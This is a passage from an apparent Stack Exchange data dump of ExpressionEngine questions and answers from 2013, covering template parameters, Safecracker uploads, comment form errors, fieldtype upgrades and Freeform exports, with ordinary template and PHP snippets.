3.0" />
  <row Id="6137" PostTypeId="2" ParentId="6135" CreationDate="2013-02-11T14:43:01.363" Score="4" Body="&lt;p&gt;Take a look at the &lt;code&gt;fetch_param()&lt;/code&gt; method in the Template library. There you can see all it does is return the value of the given key in the &lt;code&gt;tagparams&lt;/code&gt; array, offering a fallback default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it should be completely safe, unless EllisLab decides to make it a private property, which I doubt they'll do.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-02-11T14:50:32.590" LastActivityDate="2013-02-11T14:50:32.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6138" PostTypeId="2" ParentId="6130" CreationDate="2013-02-11T14:48:36.663" Score="4" Body="&lt;p&gt;Since by default the datepicker does not include seconds, EE saves the &lt;em&gt;current time's&lt;/em&gt; seconds (minus 1 second) to the entry date (and in fact any custom date field). So the last part of the timestamp for each of these fields is based on when the entry was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Looking under the hood, it appears there have been two approaches over the years to this - at one time, seconds were set to &lt;code&gt;00&lt;/code&gt;, but then this was reverted, as it meant that entries submitted within the same minute had identical timestamps, which is not accurate.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the hidden configuration variable &lt;code&gt;include_seconds&lt;/code&gt; to your &lt;strong&gt;config.php&lt;/strong&gt; file to add the seconds to all datepickers, allowing you to set the date precisely.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['include_seconds'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, since this is a custom date field you're using (not the Entry Date), you can use &lt;a href=&quot;https://github.com/experience/dropdate.ee_addon&quot; rel=&quot;nofollow&quot;&gt;DropDate&lt;/a&gt;, which bypasses EE's date handling and saves the timestamp directly, using &lt;code&gt;00&lt;/code&gt; for the seconds value.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-11T14:48:36.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6139" PostTypeId="1" AcceptedAnswerId="6731" CreationDate="2013-02-11T15:02:52.457" Score="1" ViewCount="240" Body="&lt;p&gt;I'm trying to use multiple Safecracker File fields in a Safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use one matrix field with one column - the SC File field. On submission, no rows or files were added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be easier to take Matrix out of the equation so I changed it to 3 separate SC File fields. Now only the first field gets uploaded. I don't see any errors (tried logged in as Super Admin and Non-Super Admin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code is very simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker ...}&#xA;  {custom_fields}&#xA;    {if safecracker_file}&#xA;      {display_field}&#xA;    {/if} &#xA;  {/custom_fields}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fields are output correctly, each have unique names.&lt;br&gt;&#xA;The following is what is output for each field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;safecracker_file_set&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;safecracker_file_hidden&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;CUSTOM_FIELD_NAME_3_hidden&quot; value=&quot;&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;safecracker_file_placeholder_input&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;CUSTOM_FIELD_NAME&quot; value=&quot;NULL&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;safecracker_file_input&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;CUSTOM_FIELD_NAME&quot; value=&quot;&quot;&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running 2.5.3, but I don't see anything in the changelog that directly mentions something like this. I'd &lt;em&gt;realllllly&lt;/em&gt; like to avoid upgrading.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-02-11T15:22:31.693" LastActivityDate="2013-02-25T23:00:05.613" Title="Safecracker File Fields only uploads the first one" Tags="|safecracker|file-uploads|safecracker-file|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6140" PostTypeId="1" AcceptedAnswerId="6196" CreationDate="2013-02-11T15:28:37.150" Score="0" ViewCount="276" Body="&lt;p&gt;My problem: I could submit a comment, but the data wouldn´t be saved into the database. But no error message was shown. After submisseion EE would just take the comment, throw it away and then would show the SE-page again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checked around, found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/616/comment-form-missing-xid-form-submits-but-data-doesnt-save/617#617&quot;&gt;this tip here on EESE&lt;/a&gt;, got rid of the NSM htaccess generator. Now I´m back to the normal index.php-Syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can submit Comments, but I get the following error message, when I submit a comment as a logged in user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'Api' not found in {removed}/system/expressionengine/&#xA;libraries/api/Api_channel_fields.php on line 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I comment as a non-logged in user I just get a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the comments are saved. I can see and edit them in the CP and the comments are attached to the respective entry. So, the process works, I &quot;just&quot; need to get riod of the error message and have EE return to the SE-page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the return value as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return=&quot;entry/index/url_title&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this didn´t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the Api_channel_fields.php. This is what I see in line 3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Api_channel_fields extends Api {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I even uploaded a fresh Api_channel_fields.php from my installation package.&#xA;Nothing helped. Any thoughts, how I can fix that?&#xA;I would love to get the .htaccess back to work, but for now I´d be happy to just get rid of the fatal error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to answer Adrian Macneil questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other plugins/extensions are you using? &#xA;1. BW Channel Count&#xA;2. Channel Videos&#xA;3. Content Elements&#xA;4. Developer&#xA;5. HJ Social Bookmarks&#xA;6. Entry Type&#xA;7. httpHeader&#xA;8. ImageSizer&#xA;9. Low Nospam&#xA;10. Low Replace&#xA;11. Low Seg2cat&#xA;12. Minimee&#xA;13. NSM Morphine&#xA;14. PDF Press&#xA;15. PT Fieldpack&#xA;16. Recent Entries&#xA;17. Republic Variables&#xA;18. SuperGeekery Tag Stripper&#xA;19. Sitemap&#xA;20. Taggable&#xA;21. Template Variables&#xA;22. TruncHTML&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you using the built in EE comment form? Yes, I copied the code from the EE help pages and adapted it. The comment module is on.&#xA;This is my template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;artikel&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Ihr Kommentar&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name (erforderlich)&amp;lt;/label&amp;gt; &#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot;/&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;E-Mail (erforderlich, wird nicht ver&amp;amp;ouml;ffentlicht)&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;twelve&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;url&quot;&amp;gt;Web-Site&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;twelve&quot; name=&quot;url&quot; value=&quot;{url}&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;comment&quot;&amp;gt;Ihr Kommentar&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; name=&quot;submit&quot; value=&quot;Kommentar absenden&quot; /&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code as it is rendered on the SE-page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;comment_form&quot; method=&quot;post&quot; action=&quot;http://www.bandikutmedia.de/eintrag/journalisten-auf-die-rote-liste&quot;  &amp;gt;&#xA;    &amp;lt;div class='hiddenFields'&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;1&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://www.bandikutmedia.de/eintrag/journalisten-auf-die-rote-liste&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;eintrag/journalisten-auf-die-rote-liste&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;PRV&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;31203ae5e27a3ba65d1cbaec73d7ae6ea2ba9fc8&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;33&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Ihr Kommentar&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name (erforderlich)&amp;lt;/label&amp;gt; &#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot;/&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;E-Mail (erforderlich, wird nicht ver&amp;amp;ouml;ffentlicht)&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;twelve&quot; name=&quot;email&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;url&quot;&amp;gt;Web-Site&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; class=&quot;twelve&quot; name=&quot;url&quot; value=&quot;http://&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;comment&quot;&amp;gt;Ihr Kommentar&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; class=&quot;button&quot; name=&quot;submit&quot; value=&quot;Kommentar absenden&quot; /&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="136" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-12T13:17:03.330" Title="When submitting comment form Fatal error: Class 'Api' not found" Tags="|htaccess|comment-form|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6141" PostTypeId="2" ParentId="6135" CreationDate="2013-02-11T15:29:41.580" Score="2" Body="&lt;p&gt;Plenty of add-ons rely on that public &lt;code&gt;tagparams&lt;/code&gt; property (ours included). So you would certainly not be the first to rely on it (e.g. my answer &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5796/150&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That doesn't mean EllisLab won't change/break it in future, but rest assured your add-on won't be the only one that breaks :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-11T15:29:41.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6142" PostTypeId="2" ParentId="6128" CreationDate="2013-02-11T15:40:47.750" Score="3" Body="&lt;p&gt;Yes, this is referred to (at least by Store) as &quot;multi add to cart&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should take a look at the &lt;a href=&quot;https://exp-resso.com/docs/store/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product Form Tag&lt;/a&gt;. From the docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The product form tag is used to create custom add to cart forms, which allow the customer to add multiple items to their cart at once. Most websites will not need to use this tag, as the Product Tag already provides an add to cart form wrapped around a single product.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Really simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form}&#xA;  {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;5&quot;}&#xA;      {exp:store:product disable_form=&quot;yes&quot; entry_id=&quot;{entry_id}&quot;}&#xA;          &amp;lt;!-- add to cart form / product details --&amp;gt;&#xA;    {exp:store:product}&#xA;  {/exp:channel:entries}&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-11T15:40:47.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6143" PostTypeId="1" CreationDate="2013-02-11T15:58:37.963" Score="1" ViewCount="92" Body="&lt;p&gt;I was wondering if anyone can help me. I've got an events channel with a 'number of places available' number field, which users uploading an event populate with how many spaces they have available for an event. When people book an event, through freeform, I want them to input a number as to how many places they want, and for this number to be substracted from the 'number of places available' number field. Does anyone know of a module or fieldtype that could do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;" OwnerUserId="987" LastEditorUserId="268" LastEditDate="2013-02-12T02:19:20.970" LastActivityDate="2013-04-13T03:07:37.883" Title="Decrementing a field value in an Events channel when a form is submitted" Tags="|fieldtype|number-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6144" PostTypeId="2" ParentId="6143" CreationDate="2013-02-11T16:02:12.777" Score="1" Body="&lt;p&gt;Take a look at my &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5912/293&quot;&gt;answer here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There I recommend using Safecracker instead of Freeform, to store these as entries. You can then use an add-on or your own PHP code to handle the email notifications that Freeform would have generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Safecracker, you'll want to have a postprocessor template as your redirect URL. In that template, you can use &lt;code&gt;exp:query&lt;/code&gt; to update your database, or PHP. Either way, you'll be manipulating those values directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#return&quot; rel=&quot;nofollow noreferrer&quot;&gt;include the new entry's ID on the redirect URL&lt;/a&gt; for reference in your postprocessor template. You can set PHP to output, and get the entry using &lt;code&gt;exp:channel:entries entry_id=&quot;{segment_x}&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within that postprocessor template, you can have a redirect to send the user on to the target destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; I'm suggesting Safecracker as it will ultimately give you more flexibility in your event management data. If you think of it as a relational database, you have event records and registration records. Those are really registration entries in a registration channel, referencing an event. You'll ultimately have more flexibility in this sort of system by treating those as a channel, and possibly find exp_channel_data easier to manipulate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform also has a post submit hook. You can write an extension that will manipulate your Event channel data using PHP/SQL in an extension, and register that extension to run every time a particular form is submitted. But I'd consider storing relational data entirely in channels, not split between a channel and Freeform. That way you can do custom reports with &lt;code&gt;exp:channel:entries&lt;/code&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-11T17:27:27.847" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6145" PostTypeId="1" CreationDate="2013-02-11T16:49:08.677" Score="2" ViewCount="201" Body="&lt;p&gt;Has anyone written an upgrade for a fieldtype? I'm assuming so, but I've not actually ventured this direction, and there are zero docs in this arena. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically in this case, upgrading a fieldtype with no settings to have per-field settings, which will update the fieldtype preferences in the DB etc etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direction? Hacky style required?&lt;/p&gt;&#xA;" OwnerUserId="705" LastActivityDate="2013-09-29T03:29:27.070" Title="Upgrade method for fieldtypes (add-on development)" Tags="|add-on-development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6146" PostTypeId="2" ParentId="6145" CreationDate="2013-02-11T17:10:47.623" Score="1" Body="&lt;p&gt;Well, it's something difficult for me to write everything here related to field type update :). let me try to give you some pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While creating a field type, you were creating a $info array having &quot;name&quot; and &quot;version&quot;. If you are going to update you field type, first step will be to higher the &quot;version&quot; value within the $info array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second thing: the field type file will have a function update like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($from)&#xA;{&#xA;if($from &amp;lt; 2.0){&#xA;[process the stuffs which you need to update in the updated version of 2.0 in the case your previous version was less than 2.0]&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it's depend on you, what you would like to update. If you would like to update the settings or field type display then you will need to modify the code within their function. In the update function you can re-structure database related stuffs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, my little pointer will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-11T17:10:47.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6147" PostTypeId="2" ParentId="6143" CreationDate="2013-02-11T17:20:45.467" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/users/293/mark-j-reeves&quot;&gt;Mark Reeves&lt;/a&gt; is correct in stating that this could potentially be better handled within the Channel Entries, just using SafeCracker Form to complete. Not because Free Form Pro couldn't handle the job and well. But primarily, because most add-ons work on channel entries. Though if it is a plugin that's applied via the template, then it should work on &lt;a href=&quot;http://www.solspace.com/software/detail/freeform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Free Form Pro&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically your looking for plugins for two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(1) to &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/tally&quot; rel=&quot;nofollow noreferrer&quot;&gt;total number&lt;/a&gt;&lt;/strong&gt; of attendees for you; and&lt;/li&gt;&#xA;&lt;li&gt;(2) to &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=math&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow noreferrer&quot;&gt;perform mathematical functions&lt;/a&gt;&lt;/strong&gt; so you don't need to know PHP.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Derek Hogue, Amphibian Design, has created &lt;a href=&quot;http://devot-ee.com/add-ons/tally&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tally&lt;/a&gt; which is a plugin that would allow you to easily retrieve total 'tickets' or 'registrations' for the event, then either PHP or a second &lt;a href=&quot;http://devot-ee.com/search/results?keywords=math&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow noreferrer&quot;&gt;'math' based plugin&lt;/a&gt; could be used to do the subtraction. I've used &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow noreferrer&quot;&gt;'Math'&lt;/a&gt; by and have heard good things about &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow noreferrer&quot;&gt;MX Calculator&lt;/a&gt;, but have never used it. Normally, if necessary, I just drop into PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to — Total the number of RSVPs, subtract RSVPs/attendees from max registration field. Display remainder. (which you've mentioned), but you'll also need to stop the registration process, when max attendees has been reached. This can be done via CSS, hiding the submit button from view, and maybe a modification to the submit id, so if people are using screen readers or use to pushing 'enter', that the submit fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's doable, either way, Free Form or SafeCracker. The plugins should/may work on the Free Form fields, so give them a try. But they aren't really submitting data back to the system, just doing math on the template itself. Which is why you need to put safeguards in place to stop registrations over the max total.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-02-11T17:20:45.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6148" PostTypeId="1" CreationDate="2013-02-11T17:44:38.590" Score="3" ViewCount="175" Body="&lt;p&gt;I'm trying to upgrade a site from EE1 to EE2 and I followed the EL docs to the letter but when I go to run the wizard I get &quot;Click here to install a brand new copy of ExpressionEngine&quot;. Anyone know why this might be occurring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Forgot to add that I would be upgrading an EE1.7.3 site to EE2.5.5 running on a MT GS server.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-02-11T18:15:17.470" LastActivityDate="2013-02-11T18:18:14.800" Title="EE1 to EE2 upgrade issues" Tags="|ee1|ee2-upgrades|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6149" PostTypeId="1" AcceptedAnswerId="6154" CreationDate="2013-02-11T17:45:06.437" Score="1" ViewCount="893" Body="&lt;p&gt;I have an application form on a web page using &quot;free-form pro&quot; add-on. I can download the entries in CSV / xml / json / text formats but I was wondering if it's possible to download it in a Word format or other more readable format? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form is made up of around 25 questions (many are text box areas) and reviewing the applications in CSV format is not helpful (lots of horizontal scrolling). Ideally, I would like to view each application separately going through the questions and answers vertically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of is taking the xml and mapping it on a web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-02-12T01:16:29.883" Title="View/download Freeform Pro entries in MS Word format or other readable format" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6150" PostTypeId="2" ParentId="6149" CreationDate="2013-02-11T17:50:30.820" Score="2" Body="&lt;p&gt;You can create a regular ExpressionEngine template and output the information in whatever format you like.&lt;br&gt;&#xA;Use the &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/&quot; rel=&quot;nofollow&quot;&gt;Freeform entries tag&lt;/a&gt; to display the data.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-11T17:50:30.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6151" PostTypeId="1" AcceptedAnswerId="6152" CreationDate="2013-02-11T17:51:01.293" Score="1" ViewCount="263" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2 with Multisite Manager installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog that is pulling entries from two different sites. I am able to successfully show those entries on the main blog page, but I am having trouble linking the entry to the correct site. The code I am using is trying to find all posts on the main site, when some of them exist on the 2nd site. Could someone tell me the correct way to do this? Here is the code on the main blog page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;news&quot;  site=&quot;default_site|characterized&quot; orderby=&quot;date&quot;  limit=&quot;6&quot;  }&#xA;&amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;img-holder&quot; href=&quot;{url_title_path='news'}&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{news_thumbnail}&quot; width=&quot;336&quot; height=&quot;196&quot; alt=&quot;image description&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;div class=&quot;info&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;  &#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The part that's not working correctly is &lt;strong&gt;a href=&quot;{url_title_path='news'}&quot;&lt;/strong&gt; in the 3rd line above.&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-02-11T18:15:16.957" Title="Entry links across multiple sites" Tags="|channel-entries|url|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6152" PostTypeId="2" ParentId="6151" CreationDate="2013-02-11T18:15:16.957" Score="1" Body="&lt;p&gt;My favorite way to handle this is to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow&quot;&gt;{comment_url_title_auto_path} variable&lt;/a&gt; (instead of url_title_path=).  That will pull that setting from the channel settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that work for you?  Even if you're not using comments, it's a good &quot;permalink&quot; variable.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-11T18:15:16.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6153" PostTypeId="2" ParentId="6148" CreationDate="2013-02-11T18:18:14.800" Score="2" Body="&lt;p&gt;Stuart,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This usually indicates that EE is not finding your old EE 1 config.php.  &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/upgrade_from_1.x.html#restore-some-1-x-files&quot; rel=&quot;nofollow&quot;&gt;Step 4 of the upgrade instructions&lt;/a&gt; has you placing your backed up EE 1 config.php in /system/expressionengine/config:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Copy your old 1.x version of system/config.php to system/expressionengine/config/config.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And that should help you to avoid this issue.  I know you said you're following the docs to the letter, but please do double check that your config.php in /system/expressionengine/config is the EE 1 config.  That should get you moving forward!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-11T18:18:14.800" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6154" PostTypeId="2" ParentId="6149" CreationDate="2013-02-11T18:34:04.500" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering if it's possible to download it in a Word format or other more readable format?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For readability, a PDF is your best bet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had an EE application that pulled in XML data, which we stored in entries. We then output that on HTML pages using XSLT in PHP, and we generated PDF versions of the reports available on demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We accomplished that with a whole bunch of PHP in templates set to allow PHP on output. Of course, that should really all go into a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used &lt;a href=&quot;http://www.pdflib.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDFLib&lt;/a&gt;. There are &lt;a href=&quot;http://www.fpdf.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;other options&lt;/a&gt; if you Google around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With PDFLib, we were able to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have a PDF template with header and footer&lt;/li&gt;&#xA;&lt;li&gt;Plot any content/data into the PDF with PHP&lt;/li&gt;&#xA;&lt;li&gt;Draw image graphics on the fly with another library, also used on the HTML pages, and insert those into the PDF&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can set your headers in PHP to force the content type to 